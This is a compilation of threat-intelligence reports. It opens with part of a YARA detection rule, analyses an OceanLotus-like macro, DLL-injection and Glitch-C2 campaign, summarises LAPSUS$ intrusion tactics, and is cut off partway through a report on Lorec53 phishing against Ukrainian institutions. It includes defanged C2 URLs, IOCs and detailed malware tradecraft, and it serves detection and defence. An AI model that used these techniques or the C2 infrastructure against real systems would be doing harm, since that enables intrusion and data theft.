+c7 44 24 38 01 00 00 00 c7 44 24 30 00 00 00 00 c7 44 24 28 03 00 00 00 48 c7 44 24 20 00 00 00 00 ff 15 [2] 04 00
+49 89 c5 48 85 c0 0f 84 21 01 00 00 4c 89 f2 45 31 c9 49 89 f0 48 89 c1 48 c7 44 24 38 01 00 00 00 c7 44 24 30 00
+00 c0 44 48 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 }
+$s2 = { 48 8d 84 24 ?? 01 00 00 48 89 da b9 3d 00 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 ?? 01 00 00 48
+89 84 24 ?? 01 00 00 48 8d 84 24 ?? 01 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 ?? 01 00 00 48 89 84 24 ?? 01 00
+00 48 8d 84 24 ?? 01 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 [2] 00 00 48 89 84 24 ?? 01 00 00 31 c0 f3 ab 4c 89
+?? 48 8d 84 24 ?? 01 00 00 48 c7 84 24 ?? 01 00 00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00 00 00
+00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00 00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00
+00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00 00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ??
+01 00 00 00 00 00 00 c6 84 24 [2] 00 00 00 48 c7 84 24 [2] 00 00 00 00 00 00 48 c7 84 24 [2] 00 00 00 00 00 00 c7
+84 24 ?? 00 00 00 04 01 00 00 48 89 44 24 ?? ff 15 [2] 04 00 85 c0 0f 84 ?? 14 00 00 48 8b 4c 24 }
+$s3 = { ff 15 [2] 04 00 85 c0 0f 84 82 00 00 00 48 8b 2d [2] 04 00 31 db 4c 8d 7c 24 4c 48 8d 7c 24 60 b9
+fc 00 00 00 89 d8 4d 89 f9 f3 ab 48 8d 74 24 50 4c 89 f1 48 c7 44 24 50 00 00 00 00 48 c7 44 24 58 00 00 00 00 41
+b8 ff 03 00 00 48 89 f2 ff d5 85 c0 74 3a 8b 4c 24 4c 85 c9 74 32 48 8b 05 cd e8 03 00 48 03 05 be e8 03 00 48 89
+c7 f3 a4 48 8b 15 b2 e8 03 00 8b 44 24 4c 48 03 05 af e8 03 00 48 89 05 a8 e8 }
+$s4 = { 48 8d 84 24 ?? 02 00 00 4c 89 ?? 48 89 c1 48 89 84 24 ?? 00 00 00 e8 [2] ff ff 48 8b 4c 24 ?? 4c 89
+?? e8 ?? a1 02 00 48 8b 4c 24 ?? 48 8d 15 [2] 02 00 e8 ?? a1 02 00 8b 8c 24 ?? 00 00 00 4c 89 ?? 31 c0 f3 aa b9 02
+02 00 00 48 8d 94 24 ?? 06 00 00 c7 84 24 ?? 00 00 00 04 01 00 00 ff 15 [2] 04 00 ba 04 01 00 00 4c 89 ?? ff 15 [2]
+04 00 48 8b 8c 24 ?? 02 00 00 ff 15 [2] 04 00 48 8b 3d [2] 04 00 48 89 c6 31 db ?? 8d ?? 24 [2] 00 00 4c 8d a4 24
+[2] 00 00 48 8b 46 18 48 8b 04 18 48 85 }
+condition:
+uint16(0) == 0x5A4D and all of ($s*)
+Tags
+APT threat-intel in-the-wild
+Get The InQuest Insider
+Find us on Twitter for frequent updates, follow our Blog for bi-weekly technical write-ups, or subscribe here to receive
+our monthly newsletter, The InQuest Insider. We curate and provide you with the latest news stories, field notes about
+innovative malware, novel research / analysis / threat hunting tools, security tips and more.
+False flag or upgrade? Suspected sea lotus uses the
+Glitch platform to reproduce the attack sample
+mp.weixin.qq.com/s/1L7o1C-aGlMBAXzHqR9udA
+Original Red Raindrop Team Qi Anxin Threat Intelligence Center 2022-01-20 02:01
+Included in the topic #APT 52
+Overview
+The Qi'anxin Red Raindrop team continues to pay attention to the attack activities of global
+APT organizations, including the OceanLotus APT organization. Recently, a foreign
+manufacturer Netskope released an analysis report on mht format files (Web archive files)
+implanted into malware by carrying Office macros [1] , because the attack methods used by
+the samples mentioned are similar to those of OceanLotus. The report believes that the attack
+was carried out by the Ocean Lotus organization.
+After in-depth analysis of such samples by the researchers of the Red Raindrop team, it was
+found that there are some characteristics in the attack process that are different from the
+previous attacks of Ocean Lotus. Therefore, the possibility of other attack groups imitating
+Ocean Lotus cannot be ruled out. Based on the existing public information, the specific
+identity of the gang behind the attack cannot be determined for the time being. In addition,
+we noticed that such samples use the Glitch platform to deliver subsequent malware, and
+further found that they are in the same vein as the attack samples disclosed by Qi'anxin
+Threat Intelligence Center in December last year [2] .
+This article will deeply analyze the samples involved in this attack, sort out other associated
+attacks, compare with the historical attack methods of OceanLotus, and summarize the
+similarities and unique characteristics of the attacks. Such attack samples have the following
+characteristics:
+1. The macro code will release 32-bit or 64-bit malicious DLL according to the system
+version, and a piece of random data will be inserted when releasing the malicious DLL;
+2. Both the macro code and malicious DLL are obfuscated;
+3. The malicious DLL transmits the collected information back to the C2 service hosted by
+the Glitch platform, and then downloads the 7z-compressed subsequent malware and
+executes it.
+Sample information
+1/20
+The collected attack sample information is as follows
+file type
+file name
+0ee738b3837bebb5ce93be890a196d3e
+HS.rar
+11d36c3b57d63ed9e2e91495dcda3655
+Tai_lieu.rar
+204cb61fce8fc4ac912dcb3bcef910ad
+TL-3525.rar
+a7a30d88c84ff7abe373fa41c9f52422
+Note.rar
+b1475bdbe04659e62f3c94bfb4571394
+CV.rar
+b2eb3785e26c5f064b7d0c58bdd3abe0
+List Product.rar
+d8fa458192539d848ee7bb171ebed6bd
+GiftProducts.rar
+e7ce1874ab781c7a14019b6a6e206749
+PaymentRequest.rar
+eb6cf9da476c821f4871905547e6a2b4
+DeliveryInformation.rar
+f5ea39b70f747e34ae024308298f70ac
+Document.rar
+f8d30c45ed9d3c71ec0f8176ddd7fd8f
+Gift Products.rar
+The names of the collected attack samples are basically in English, only Tai_lieu.rar is
+Vietnamese, which means "file". The RAR file contains mht files that carry Office macros.
+The sample execution flow is as follows.
+2/20
+Detailed analysis
+Take the sample 11d36c3b57d63ed9e2e91495dcda3655 as an example for analysis.
+file name
+Tai_lieu.rar
+11d36c3b57d63ed9e2e91495dcda3655
+file type
+RAR contains a mht format file Tailieu.doc with the same name as RAR, which will prompt
+the victim to enable macros when opened.
+3/20
+Enabling the macro will open Document.doc with no specific content, just an error message
+to confuse the victim.
+After VBA is obfuscated, in addition to name obfuscation, it also uses Chr function to
+concatenate key strings, and uses mixed operations of hexadecimal, octal and decimal to
+obtain constant numbers.
+4/20
+After enabling the macro, first determine whether it is VBA7 and whether the system version
+is 64-bit, and save the judgment result in the global variable hPY42J6w.
+Create a directory "%ProgramData%\Microsoft Outlook Sync", and copy the original
+guest.bmp file in the system to the new directory to save the malicious DLL that will be
+released next.
+5/20
+Call the function kPW1Jdp7d4eP95n to release the doc file and dll file saved at the end of the
+mht file. The file data spliced at the end of the mht file are 32-bit dll, 64-bit dll and doc files
+in sequence. The file release sequence is from back to front, so the end of each file data will
+be followed by a 4-byte data to mark the length of the file data, which can be used to locate
+the starting position of the file data when releasing.
+6/20
+The hPY42J6w variable that previously saved the machine version judgment result
+determines which files are released: if the variable is 1, the file release operation will be
+performed when the variable v2yHmJl5EO064cV is 0 and 2, and the doc file and 32-bit dll
+will be released at this time; otherwise, if hPY42J6w If it is 2, the doc file and 64-bit dll are
+released.
+The doc file and dll file data spliced at the end of the mht file are not encrypted or encoded,
+but the way of saving and releasing the dll file data is special. Doc file data is stored in the file
+in its complete form and extracted directly upon release.
+Dll file data is saved in the following form: first two 4-byte data, and then the dll file removes
+the remaining data of the first two bytes (ie 0x4D5A) as the magic number of the PE file.
+Therefore, the length of the file data saved in mht will be 6 bytes larger than the original file
+length. When the Dll file data is released, it first reads 2 placeholders from mht for
+subsequent repair of the DOS header and removes the remaining original file data of
+0x4D5A. Then insert a piece of random data into the read data for expansion processing. The
+position and length of the inserted data are determined by the two 4-byte data mentioned
+above. Finally, save the obtained data in the guest.bmp file in the
+"%ProgramData%\Microsoft Outlook Sync" directory.
+Then the macro code copies the guest.bmp that saves the data of the dll file to
+background.dll, changes the first two bytes of the file to "MZ", thereby repairs the DOS
+header, calls the OpenProfile function of background.dll, and deletes the guest.bmp file .
+7/20
+Finally set the opened mht file attribute to system hidden, then close the file.
+Freed DLL
+The functions of the 32-bit and 64-bit dll released by VBA macros are the same, because a
+random data will be inserted when the dll file is released, so the hash value of the dll file is
+not fixed.
+file name
+background.dll
+fca9347b37c737930d0aaa976c3e234b (not fixed)
+file type
+Win32 DLLs
+File size
+23712256 bytes
+The released dll file instructions are obfuscated, and there are two export functions, the
+function names are OpenProfile and SaveProfile. The functions of the two functions are to
+achieve persistence by setting scheduled tasks, and to inject subsequent payloads into remote
+puppet process execution.
+The DllMain function of Backgroud.dll stores the key strings and other parameters used by
+the exported function in global variables.
+8/20
+The OpenProfile function is called by VBA, which sets up a scheduled task through a COM
+object to run another exported function of the dll, SaveProfile.
+SaveProfile injects the PE file embedded in the dll into the remote puppet process. The
+command to create the remote process is "rundll32.exe kernel32.dll,Sleep".
+9/20
+The offset of the address pointed to by the instruction register in the remote thread register
+context from the starting address of the memory where the injected data is stored is
+0x44C20. After the PE injected into the memory is dumped, the only exported function is the
+location in the disk file.
+10/20
+DLL injected into memory
+file name
+9fd6ae7e608b3b7421f55b73f94b4861
+file type
+Win32 DLLs
+File size
+717824 bytes
+The released 32-bit dll and the 64-bit dll injected into the remote process are both 32-bit,
+with the same file size and the same function.
+The DLL is injected into memory as an unmapped file, and the only exported function of this
+DLL is to load itself reflectively in memory. After allocating memory to load the dll itself, the
+export function executes the DllMain function twice, and the second parameter of DllMain is
+1 and 4, respectively. Malicious behavior in the Dll is only triggered when the parameter is 4.
+11/20
+Like background.dll, key strings and other configuration data are first saved in global
+variables.
+Create a subdirectory named "Microsoft Edge Download" in the "C:\ProgramData" directory
+to collect host information, including the MAC address of the network card, user name, host
+name, all current process names, and file and subdirectory names in the ProgramData
+directory.
+12/20
+The collected information is encrypted and sent back to the C2 service hosted by the Glitch
+platform in a POST request. The return URL is hxxps://elemental-futurecheetah.glitch.me/afe92a2bd2P .
+Then get the follow-up from the C2 with a GET request, and the follow-up payload is
+transmitted as a 7z compressed file. Get the subsequent URL as hxxps://elemental-futurecheetah.glitch.me/afe92a2bd2D. Subsequent payloads are saved in
+"C:\ProgramData\Microsoft Edge Download\properties.bin".
+The malware in the 7z archive is decompressed and saved in the "C:\ProgramData\Microsoft
+Edge Download" directory. The subsequent payload is executed by setting a scheduled task
+through the COM object, and the persistence of subsequent malware is achieved at the same
+time. The name of the scheduled task is "Chrome Update".
+13/20
+Since C2 is currently inaccessible, subsequent malware cannot be obtained for analysis. Use
+the calculator program (calc.exe) in the system to simulate the acquired subsequent loads to
+display the set scheduled tasks.
+The dll also has a feature that uses GetCurrentThread/ GetCurrentProcess and
+WaitForSingleObject instead of Sleep to perform hibernation operations.
+activity association
+early samples
+14/20
+The earliest such attack samples can be traced back to August 2021. The early sample
+information is as follows:
+file type
+file name
+VT upload time
+6d0ab5f4586166ac3600863bc9ac493e
+Win32
+DLLs
+2zofrncu.dll
+2021/08/23 12:52:31
+0bd0f1dd8b03c11b3d59da2c5fba2e45
+Win32
+DLLs
+mslog.dll
+2021/08/26 03:55:13
+cc4a9d5248095e64c1f22e8a439416cc
+Win64
+DLLs
+mslog64.bin
+2021/08/26 03:57:57
+mslog.dll and mslog64.bin correspond to the 32-bit dll and 64-bit dll released in the
+aforementioned attack process, respectively. 2zofrncu.dll is the PE that mslog.dll injects into
+the remote process. The structure and operation process of the three samples are the same as
+the dll samples involved in this attack. The relevant URLs are as follows:
+Function
+hxxps://immense-plastic-pullover.glitch.me/T812P
+Return collected information
+hxxps://immense-plastic-pullover.glitch.me/T812D
+download follow-up
+It is worth noting that the PE injected into the memory during the entire attack process does
+not land on the disk, but the sample 2zofrncu.dll uploads VT earlier than its superior sample
+mslog.dll. Furthermore, all three samples uploaded VT from Vietnam by the same uploader.
+Combining the above information, we guess that these three samples may be early test
+samples.
+Previously disclosed attack samples
+The samples involved in this attack are strongly related to the attack samples [2] disclosed by
+the Qi Anxin Threat Intelligence Center in December last year , and can be considered to be
+from the same attack group. The first is a misinformation document with the same content
+used in both campaigns.
+15/20
+Then the code obfuscation method used by the malicious dll is the same, and the running
+process is the same:
+(1) A subdirectory with a name related to Microsoft will be created in the "C:\ProgramData"
+directory;
+(2) Collect host information, encrypt it and send it back to the C2 service program hosted on
+the Glitch platform as a POST request. The returned URL format is hxxps://[xxx]-[xxx][xxx].glitch.me /[xxx]P;
+(3) Then obtain the subsequent payload compressed by 7z from C2 and execute it. The
+subsequent URL format is hxxps://[xxx]-[xxx]-[xxx].glitch.me/[xxx]D.
+Comparison with the historical attack method of Ocean Lotus
+The attack sample uses some historical attack methods of OceanLotus. OceanLotus has used
+mht files carrying malicious macros to release the KerrDown downloader [3] in the past
+attacks . Similarly, the malicious macros will choose to release 32-bit dll or 64-bit dll
+according to the system version. The dll used as the KerrDown downloader also uses pictures
+The suffix of the format file is saved on disk. In addition, the instruction obfuscation method
+used by the malicious dll involved in this batch of attack samples is similar to that of Ocean
+Lotus, and the reflective loading method is also used to load the PE in the memory during the
+sample execution process.
+The differences from the previous attacks of Ocean Lotus are:
+(1) The file name of the error message displayed by the sample is inconsistent with the
+original mht file name, and it is impossible to determine whether the attacker is negligent or
+deliberate. And the file data to be released is directly spliced at the end of the mht file without
+encryption or encoding processing. OceanLotus often saves the file data to be released in an
+encrypted or encoded form.
+16/20
+(2) The reflection loading method used by the sample is different from that of the sea lotus
+tissue. OceanLotus often uses shellcode as the loader for reflective loading of PE, and this
+batch of attack samples uses the exported function of the loaded dll as the loader.
+The above differences may be due to either the Ocean Lotus group trying new attack
+methods, or the attack activities carried out by other groups. Due to the lack of pertinence in
+the sample name, the C2 service is hosted on the public platform Glitch, and the URL fails to
+obtain subsequent malware. At present, the specific identity of the attacker cannot be clearly
+identified, and further clues and information are to be discovered later.
+Summarize
+This type of attack sample uses malicious macros carried by mht files to implant malicious
+software on the victim host. The methods used in the attack process are similar to those of
+the OceanLotus organization, but there are also some characteristics that are different from
+the historical attack activities of OceanLotus. Although it cannot be attributed to a specific
+attack group for the time being, by sorting out a series of related attack activities, it can be
+found that the attackers behind them are constantly improving their attack methods and
+updating attack weapons.
+No domestic users have been affected by this attack, but precautions are essential. The
+Qi'anxin Red Raindrop team reminds users not to open links of unknown origin shared on
+social media, not to click and execute email attachments from unknown sources, not to run
+unknown files with exaggerated titles, and not to install apps from informal sources. Do
+timely backup of important files, update and install patches.
+If you need to run and install applications of unknown origin, you can first use the Qianxin
+threat intelligence file in-depth analysis platform
+(https://sandbox.ti.qianxin.com/sandbox/page) to determine. Currently, it supports indepth analysis of files in various formats including Windows and Android platforms.
+At present, the full line of products based on the threat intelligence data of Qi'anxin Threat
+Intelligence Center, including Qi'anxin Threat Intelligence Platform (TIP), Tianqing, Tianyan
+Advanced Threat Detection System, Qi'anxin NGSOC, Qi'anxin Situational Awareness, etc.,
+have already supported this Accurate detection of class attacks.
+17/20
+IOCs
+0ee738b3837bebb5ce93be890a196d3e
+11d36c3b57d63ed9e2e91495dcda3655
+204cb61fce8fc4ac912dcb3bcef910ad
+a7a30d88c84ff7abe373fa41c9f52422
+b1475bdbe04659e62f3c94bfb4571394
+b2eb3785e26c5f064b7d0c58bdd3abe0
+d8fa458192539d848ee7bb171ebed6bd
+e7ce1874ab781c7a14019b6a6e206749
+eb6cf9da476c821f4871905547e6a2b4
+f5ea39b70f747e34ae024308298f70ac
+f8d30c45ed9d3c71ec0f8176ddd7fd8f
+6d0ab5f4586166ac3600863bc9ac493e
+0bd0f1dd8b03c11b3d59da2c5fba2e45
+18/20
+cc4a9d5248095e64c1f22e8a439416cc
+hxxps://elemental-future-cheetah.glitch.me/afe92a2bd2D
+hxxps://elemental-future-cheetah.glitch.me/afe92a2bd2P
+hxxps://elemental-future-cheetah.glitch.me/559084b660P
+hxxps://elemental-future-cheetah.glitch.me/02d9169d60D
+hxxps://elemental-future-cheetah.glitch.me/02d9169d60P
+hxxps://confusion-cerulean-samba.glitch.me/e1db93941c
+hxxps://confusion-cerulean-samba.glitch.me/0627f41878D
+hxxps://confusion-cerulean-samba.glitch.me/0627f41878P
+hxxps://confusion-cerulean-samba.glitch.me/192f188023
+hxxps://confusion-cerulean-samba.glitch.me/2e06bb0ce9
+hxxps://confusion-cerulean-samba.glitch.me/55da2c2031
+hxxps://torpid-resisted-sugar.glitch.me/fb3b5e76b4D
+hxxps://torpid-resisted-sugar.glitch.me/fb3b5e76b4P
+hxxps://torpid-resisted-sugar.glitch.me/83a57b42f1D
+hxxps://torpid-resisted-sugar.glitch.me/83a57b42f1P
+hxxps://torpid-resisted-sugar.glitch.me/5db81501e9P
+hxxps://immense-plastic-pullover.glitch.me/T812D
+hxxps://immense-plastic-pullover.glitch.me/T812P
+Reference link
+[1] https://www.netskope.com/blog/abusing-microsoft-office-using-malicious-web-archivefiles
+19/20
+[2] https://ti.qianxin.com/blog/articles/Obfuscation-techniques-similar-to-OceanLotus/
+[3] https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/
+20/20
+LAPSUS$: Recent techniques, tactics and procedures
+research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures
+April 28, 2022
+Authored by: David Brown, Michael Matthews and Rob Smallridge
+tl;dr
+This post describes the techniques, tactics and procedures we observed during recent
+LAPSUS$ incidents.
+Our findings can be summarised as below:
+Access and scraping of corporate Microsoft SharePoint sites in order to identify any
+credentials which may be stored in technical documentation.
+Access to local password managers and databases to obtain further credentials and
+escalate privileges.
+Living of the land 
+ tools such as RVTools to shut down servers and ADExplorer to
+perform reconnaissance.
+Cloning of git repositories and extraction of sensitive API Keys.
+Using compromised credentials to access corporate VPNs.
+Disruption or destruction to victim infrastructure to hinder analysis and consume
+defensive resource.
+Summary
+LAPSUS$ first appeared publicly in December 2021, however, NCC Group first observed
+LAPSUS$ months prior during an incident response engagement. We believe the group has
+also operated prior to this date, though perhaps not under the 
+LAPSUS$
+ banner.
+Over the last 5 months, LAPSUS$ has gained large notoriety with some successful breaches
+of some large enterprises including, Microsoft, Nvidia, Okta & Samsung. Little is still known
+about this group with motivations appearing to be for reputation, money and 
+for the lulz
+Notifications or responsibility of victims by LAPSUS$ are commonly reported via their
+telegram channel and in one case a victim
+s DNS records were reconfigured to LAPSUS$
+controlled domains/websites. However, not all victims or breaches appear to actively be
+announced via their telegram channel, nor are some victims approached with a ransom. This
+distinguishes themselves from more traditional ransomware groups who have a clear modus
+operandi and are clearly financially focused. The result of this is that LAPSUS$ are less
+predictable which may be why they have seen recent success.
+This serves as a reminder for defenders for defence in depth and the need to anticipate
+different tactics that threat actors may use.
+It is also worth mentioning the brazen behaviour of this threat actor and their emboldened
+attempts at Social Engineering by offering payment for insiders to provide valid credentials.
+This tactic is potentially in response to greater home working due to the pandemic which
+means there is a far larger proportion of employees with VPN access and as such a greater
+pool of potential employees willing to sell their credentials.
+To combat this, organisations need to ensure they have extensive VPN logging capabilities,
+robust helpdesk ticketing as well as methods to help identify anomalies in VPN access.
+It is notable that the majority of LAPSUS$ actions exploit the human element as opposed to
+technical deficiencies or vulnerabilities. Although potentially viewed as unsophisticated or
+basic these techniques have been successful, so it is vital that organisations factor in controls
+and mitigations to address them.
+Initial access
+Threat Intelligence shows that LAPSUS$ utilise multiple methods to gain Initial access.
+The main source of initial access is believed to occur via stolen authentication cookies which
+would grant the attacker access to a specific application. These cookies are usually in the
+form of Single sign-on (SSO) applications which would allow the attacker to pivot into other
+corporate applications ultimately bypassing controls such as multi-factor authentication
+(MFA).
+Credential access and Privilege escalation
+Credential Harvesting and privileged escalation are key components of the LAPSUS$
+breaches we have seen, with rapid escalation in privileges the LAPSUS$ group have been
+seen to elevate from a standard user account to an administrative user within a couple of
+days.
+In the investigations conducted by NCC Group, little to no malware is used. In one case NCC
+Group observed LAPSUS$ using nothing more than the legitimate Sysinternals tool
+ADExplorer, which was used to conduct reconnaissance on the victim
+s environment.
+Access to corporate VPNs is a primary focus for this group as it allows the threat actor to
+directly access key infrastructure which they require to complete their objectives.
+In our incident response cases, we saw the threat actor leveraging compromised employee
+email accounts to email helpdesk systems requesting access credentials or support to get
+access to the corporate VPN.
+Lateral Movement
+In one incident LAPSUS$ were observed to sporadically move through the victim
+environment via RDP in an attempt to access resources deeper in the victim environment. In
+some instances, victim controlled hostnames were revealed including the host 
+VULTRGUEST
+ which refers to infrastructure hosted on the private cloud service, Vultr[3].
+Exfiltration
+LAPSUS$
+s action on objectives appears to focus on data exfiltration of sensitive information
+as well as destruction or disruption. In one particular incident the threat actor is observed to
+utilise the free file drop service 
+filetransfer[.]io
+Impact
+NCC Group has observed disruption and destruction to client environments by LAPSUS$
+such as shutting down virtual machines from within on-premises VMware ESXi
+infrastructure, to the extreme of mass deletion of virtual machines, storage, and
+configurations in cloud environments making it harder for the victim to recover and for the
+investigation team to conduct their analysis activities.
+The theft of data reported appears to heavily be focused on application source code or
+proprietary technical information. With a targeting of internal source code management or
+repository servers. These git repositories can contain not only commercially sensitive
+intellectual property, but also in some cases may include additional API keys to sensitive
+applications including administrative or cloud applications.
+Recommendations
+Ensure that Cloud computing environments have sufficient logging enabled.
+Ensure that cloud administrative access is configured to prevent unauthorised access to
+resources and that API keys are not overly permissive to the permissions they require.
+Utilise MFA for user authentication on both cloud and remote access solutions to help
+reduce the risk of unauthorised access.
+Ensure logging is in place to record MFA device enrolment
+Security controls such as Conditional Access can help restrict or prevent unauthorised
+access based on criteria such as geographical location.
+Implement activities to detect and investigate anomalies in VPN access.
+Ensure a system is in place to record all helpdesk queries.
+Avoid using SMS as an MFA vector to avoid the risk of SIM swapping.
+Securing source code environments to ensure that users can only access the relevant
+repositories.
+Secret Scanning[1][2] on source code repositories should be conducted to ensure that
+sensitive API credentials are not stored in source code. GitHub and Gitlab offer
+detection mechanisms for this
+Remote Desktop services or Gateways used as a primary or secondary remote access
+solution should be removed from any corporate environment in favour for alternative
+solutions such as secured VPNs, or other Remote Desktop applications which mitigate
+common attack techniques such as brute force or exploitation and can offer additional
+security controls such as MFA and Conditional Access.
+Centralise logging including cloud applications (SIEM solution).
+Offline or immutable backups of servers should be taken to ensure that in the event of a
+data disruption or destruction attack, services can be restored.
+Reduce MFA token/Session cookie validity times
+Ensure principle of least privilege for user accounts is being adhered to.
+Social engineering awareness training for all staff.
+Indicators of Compromise
+Indicator Value
+Indicator
+Type
+Description
+104.238.222[.]158
+IP address
+Malicious Lapsus Network Address
+108.61.173[.]214
+IP address
+Malicious Lapsus Network Address
+185.169.255[.]74
+IP address
+Malicious Lapsus Network Address
+VULTR-GUEST
+Hostname
+Threat Actor Controlled Host
+hxxps://filetransfer[.]io
+Domain
+Free File Drop Service Utilised by the Threat
+Actor
+MITRE ATT&CK
+Technique
+Code
+Technique
+T1482
+Discovery 
+ Domain Trust Discovery
+T1018
+Discovery 
+ Remote System Discovery
+T1069.002
+Discovery 
+ Groups Discovery: Domain Groups
+T1016.001
+Discovery 
+ System Network Configuration Discovery
+T1078.002
+Privilege Escalation 
+ Domain Accounts
+T1555.005
+Credential Access 
+ Credentials from Password Stores: Password
+Managers
+T1021.001
+Lateral Movement 
+ Remote Services: Remote Desktop Protocol
+T1534
+Lateral Movement 
+ Internal Spearphishing
+T1072
+Execution 
+ Software Deployment Tools
+T1213.002
+Collection 
+ Data from Information Repositories: Sharepoint
+T1039
+Collection 
+ Data from Network Shared Drive
+T1213.003
+Collection 
+ Data from Information Repositories: Code Repositories
+T1567
+Exfiltration 
+ Exfiltration Over Web Service
+T1485
+Impact 
+ Data Destruction
+T1529
+Impact 
+ System Shutdown/Reboot
+References
+APT group Lorec53 (Lori Bear) recently launched a largescale cyber attack on Ukraine
+blog.nsfocus.net/apt-lorec53-20220216
+Fuying Lab
+1. Summary of the event
+Recently, NSFOCUS Fuying Lab has captured a large number of phishing file attacks against
+Ukraine, and the associated malicious files include pdf, doc, cpl, lnk and other types. After
+analysis, we confirmed that this series of fishing activities came from the APT organization
+Lorec53 (Chinese name: Lori Xiong). During the period from the end of 2021 to February 2022,
+the organization used a variety of attack methods to deliver a variety of phishing documents to key
+state institutions such as the Ministry of Defense, Ministry of Finance, embassies, state-owned
+enterprises, and public medical facilities of Ukraine to collect organizational Personnel
+information-based network attack activities.
+2. Organizational Background
+Lorec53 (Chinese name: Lori Xiong) is a new type of APT organization first identified and named
+by NSFOCUS Fuying Laboratory, active in Eastern Europe. The Ukrainian Computer Emergency
+Response Center identified the organization as UAC-0056 in a recent report
+(https://cert.gov.ua/article/18419). Fuying Lab found that the group's captureable spy Trojans
+first appeared in 2020, and began to organize large-scale cyber espionage attacks against Ukraine
+and Georgia in early 2021.
+Lorec53 exposed a large number of Russian hacker characteristics in terms of attack tools, domain
+name registration information, asset location, etc., and its attack targets are also closely related to
+Russia's national interests. A study of Lorec53's development trajectory found that the
+organization was suspected of being employed by other high-level espionage organizations to gain
+revenue by undertaking state-level espionage attacks or selling confidential government
+documents.
+Lorec53 has strong infiltration ability and changeable attack methods. It can organize large-scale
+and high-density phishing attacks. It is also good at learning from other organizations' social
+engineering technology and network resource management methods.
+At present, the victims affected by the Lorec53 attack include users of the National Bank of Iran,
+Georgia's Epidemic Prevention and Health Department, Ukraine's Ministry of Defense, the
+Presidential Office, the Ministry of the Interior, and the Border Guard.
+For more reports related to the organization, please refer to the analysis report of Fuying Lab on
+the organization (http://blog.nsfocus.net/lorec-53/, http://blog.nsfocus.net/lorec53-nsfocus/ ,
+http://blog.nsfocus.net/apt-lorec/)
+3. Overview of events
+1/12
+Lorec53's current round of attacks lasted for a long time, with a wide range of targets, and the
+attack methods had obvious organizational characteristics.
+Lorec53 continued the previous decoy design methods in this round of attacks, constructing
+phishing including Ukrainian government documents that mask some information, shortcut files
+with Ukrainian titles and camouflaged extensions, and cpl files with Ukrainian file names. bait,
+and distribute these bait masquerading as a member of a credible organization.
+bait name
+translate
+ 2021 
+According to the decision of the National
+Security and Defense Council of Ukraine of
+September 7, 2021 "On the modification of
+special economic and other restrictions on
+individuals (sanctions)"
+crime report
+12-01-2022
+Complain to the court orderer 12-01-2022
+Petition to return property to Ukrainian
+citizen
+The example of filling in the description text
+is filled in manually
+Clarify the correctness of electronic medical
+records in the electronic health system, and
+the impact of the law
+Table 3.1 Some fishing lures names and translations
+In this series of phishing attacks, Lorec53 attackers mainly used three domain names, 3237.site,
+stun.site, and eumr.site, as download servers for various phishing files. The site domain is one of
+the commonly used domains of Lorec53. As of February 11, some URLs are still accessible and can
+deliver payload files, indicating that this round of attacks is still ongoing.
+In this series of attacks, Lorec53 directly wrote the collected mailboxes of key Ukrainian facilities
+into the decoy text. Judging from Lorec53's past behavior, such an operation may be used to
+increase the credibility of the bait. This feature also provides a basis for investigators to confirm
+the attack coverage.
+This time, Lorec53 still uses known Trojan programs, including LorecDocStealer (also known as
+OutSteel), LorecCPL, SaintBot, and packaged these Trojan programs as much as possible.
+4. Event Analysis
+2/12
+4.1 Attack event one
+First from phishing attacks occurred in late 2021, Lorec53 constructed a lot to "
+ 2021 
+) "" the
+title of the fishing documentation. The contents of these phishing documents refer to a presidential
+decree adopted by the National Security and Defense Council of Ukraine on September 7, 2021,
+claiming that special asset restrictions and sanctions will be imposed on a specific person.
+Figure 4.1 Phishing document titled 
+Restrictions (sanctions) on modification of personal special economics
+According to the relevant decrees of Ukraine, the Ukrainian Security Service, the Cabinet and other
+state departments can modify the document "Restriction Measures (Sanctions) for Individual
+Special Economics and Others" to add or delete specific economic sanctions. In the amendment on
+September 7, the economic sanctions object numbered 85 was added.
+It should be noted that the content of the phishing file is roughly the same as the content of the
+attachment in the presidential decree published by the Ukrainian government
+(https://zakon.rada.gov.ua/laws/show/n0062525-21#Text), but the Lorec53 attacker The
+following changes have been made to the text:
+1. The use of asterisks obscures specific citizen information;
+This is Lorec53's usual practice when building phishing documents, in this way to lure victims to
+enable the editing function of the document, and then run the macro code in the document
+3/12
+2. Added email addresses that do not exist in the original text;
+The Lorec53 attacker added government email addresses to the original citizen information
+without fuzzing. After query, the "DMYTROTSAN@ukr.net" address in the sample fishing email
+does not matter, but point to the Ukrainian Wolin Treasury (
+The above two changes indicate that the target of Lorec53's phishing operation is the Ukrainian
+government, and the email address in the phishing email is likely to be the same as the victim's
+email address. Fuying Lab counted the mailbox information in all captured phishing emails to
+evaluate the impact of this Lorec53 phishing attack.
+4/12
+Mail
+Corresponding institution or enterprise
+dmytrotsan@ukr.net
+Ministry of Finance of Volin Oblast, Ukraine
+emb_sm@mfa.gov.ua
+Embassy of Ukraine in Serbia
+kev_dnipro@post.mil.gov.ua
+Ministry of Housing and Operations of Dnipro
+Oblast, Ukraine
+zorkz@mil.gov.ua
+Joint Operations Command of the Armed Forces
+of Ukraine
+office.skdvs@ks.treasury.gov.ua
+Ministry of Finance, Skadovsk District, Kherson
+Oblast, Ukraine
+sadovska-ii@utg.ua
+UKRTRANSGAZ AG
+ufg.csc@ufg@.com.ua
+Ukrainian Financial Group
+pokrovske_tckspdp@post.mil.gov.ua
+Staffing and Social Support Center of the Third
+Sector, Sinernikivsky District, Dnipropetrovsk
+Oblast, Ukraine
+zmievkazna@ukr.net
+Ministry of Finance, Zmiv District, Kharkiv Region,
+Ukraine
+kuzmych@naftogaz.com
+Ukrainian Naftogaz Joint Stock Company
+zvernmou@ukr.net
+Department of Civil Work and Access to Public
+Information of the Ministry of Defense of Ukraine
+perevod@pivdenny.ua
+Pivdennyi Bank
